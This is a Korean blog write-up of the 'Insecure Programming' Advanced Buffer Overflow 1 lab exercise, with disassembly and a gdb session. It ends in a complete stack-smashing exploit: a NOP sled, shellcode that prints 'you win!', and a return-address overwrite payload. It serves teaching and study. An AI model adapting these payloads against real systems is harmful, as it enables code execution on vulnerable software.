기본 콘텐츠로 건너뛰기

Insecure-programming-abo1

Insecure-programming-abo1

Insecure Programming by example

Advanced Buffer Overflow 1

int main(int argv,char **argc) {
	char buf[256];

	strcpy(buf,argc[1]);
}

Advanced Buffer Overflow 첫 번째 문제는 사용자 인자 값 검증 없이 버퍼에 strcpy() 함수로 복사하여 발생되는 오버플로우 예이다. 먼저 objdump를 이용하여 어셈블리어를 살펴보자.

# objdump -d -M intel ./abo1 | grep -A 16 "<main>" 
08048374 <main>:
 8048374:       55                      push   ebp
 8048375:       89 e5                   mov    ebp,esp
 8048377:       81 ec 18 01 00 00       sub    esp,0x118
 804837d:       83 e4 f0                and    esp,0xfffffff0
 8048380:       b8 00 00 00 00          mov    eax,0x0
 8048385:       29 c4                   sub    esp,eax
 8048387:       8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 804838a:       83 c0 04                add    eax,0x4
 804838d:       8b 00                   mov    eax,DWORD PTR [eax]
 804838f:       89 44 24 04             mov    DWORD PTR [esp+4],eax
 8048393:       8d 85 f8 fe ff ff       lea    eax,[ebp-0x108]
 8048399:       89 04 24                mov    DWORD PTR [esp],eax
 804839c:       e8 ff fe ff ff          call   80482a0 <strcpy@plt>
 80483a1:       c9                      leave  
 80483a2:       c3                      ret    
 80483a3:       90                      nop

strcpy()함수의 인자 값으로 ebp-0x108을 전달하는 것으로 보아 이 위치가 사용자 인자 값이 복사될 buf[256] 배열의 위치라는 것을 알 수 있다. 이제 파이썬으로 eip를 0x62로 덮어쓰는 코드를 작성하여 gdb로 확인해보자.

# python -c "print 'a'*268+'b'*4" > arg
# gdb abo1
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) b *main
Breakpoint 1 at 0x8048374
(gdb) r $(cat arg)
Starting program: /home/iamroot/workspace/abo/1/abo1 $(cat arg)

Breakpoint 1, 0x08048374 in main ()
(gdb) disas
Dump of assembler code for function main:
0x08048374 <main+0>:    push   %ebp
0x08048375 <main+1>:    mov    %esp,%ebp
0x08048377 <main+3>:    sub    $0x118,%esp
0x0804837d <main+9>:    and    $0xfffffff0,%esp
0x08048380 <main+12>:   mov    $0x0,%eax
0x08048385 <main+17>:   sub    %eax,%esp
0x08048387 <main+19>:   mov    0xc(%ebp),%eax
0x0804838a <main+22>:   add    $0x4,%eax
0x0804838d <main+25>:   mov    (%eax),%eax
0x0804838f <main+27>:   mov    %eax,0x4(%esp)
0x08048393 <main+31>:   lea    0xfffffef8(%ebp),%eax
0x08048399 <main+37>:   mov    %eax,(%esp)
0x0804839c <main+40>:   call   0x80482a0 <strcpy@plt>
0x080483a1 <main+45>:   leave  
0x080483a2 <main+46>:   ret    
End of assembler dump.
(gdb) b *main+45
Breakpoint 2 at 0x80483a1
(gdb) c
Continuing.

Breakpoint 2, 0x080483a1 in main ()

(gdb) x/32x $ebp -16
0xbffff6c8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff6d8:     0x61616161      0x62626262      0x00000000      0xbffff764
0xbffff6e8:     0xbffff770      0xb8001898      0x00000000      0x00000001
0xbffff6f8:     0x00000001      0x00000000      0xb7fd5ff4      0xb8000ce0
0xbffff708:     0x00000000      0xbffff738      0x40f5f6e0      0x48e0ee81
0xbffff718:     0x00000000      0x00000000      0x00000000      0xb7ff9300
0xbffff728:     0xb7eaeded      0xb8000ff4      0x00000002      0x080482b0
0xbffff738:     0x00000000      0x080482d1      0x08048374      0x00000002
(gdb) info f
Stack level 0, frame at 0xbffff6e0:
 eip = 0x80483a1 in main; saved eip 0x62626262
 Arglist at 0xbffff6d8, args: 
 Locals at 0xbffff6d8, Previous frame's sp is 0xbffff6e0
 Saved registers:
  ebp at 0xbffff6d8, eip at 0xbffff6dc

이제 stack5에서 만들었던 머신 코드를 이용하여 “you win!” 구문을 출력해보자.

# export test=`python -c "print '\x90'*300+'\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x09\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'"`
# ./get test
The address of test is 0xbffffd6e
# ./abo1 "$(python -c "print 'A'*268+'\x6e\xfd\xff\xbf'")"
you win!

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

CVE-2017-11352

CVE-2017-11352 ImageMagick 에서 발생했던 CVE-2017-9144 취약점의 미흡한 조치로 인하여 동일한 취약점이 다시 발생되었다. 재 발생된 취약점 CVE-2017-11352은 coders/rle.c 에서 RLE 이미지에 대한 부적절한 EOF 처리가 원인이었다. EOF 란? 파일의 끝(End of File, EOF)으로 데이터 소스로부터 더 이상 읽을 수 있는 데이터가 없음을 나타낸다. ImageMagick Github Page 에 들어가보면 해당 이슈를 상세히 확인할 수 있다. 부적절한 EOF 처리 원인은 소스 코드 수정 시 유사한 코드를 복사 붙여넣기 하는 과정에서 검증해야할 변수 명을 고치지 않고 그대로 적용해서 발생했다. operand=ReadBlobByte(image); if (opcode == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); 이로 인해서 조치 완료된 줄 알았던 CVE-2017-9144 취약점은 CVE-2017-11352이라는 새로운 취약점 명으로 다시 조치 되었다. case SkipLinesOp: { operand=ReadBlobByte(image); - if (opcode == EOF) + if (operand == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); if (opcode & 0x40 ) { operand=ReadBlobLSBSignedShort(image); - if (opcode == EOF) + if (operand == EO...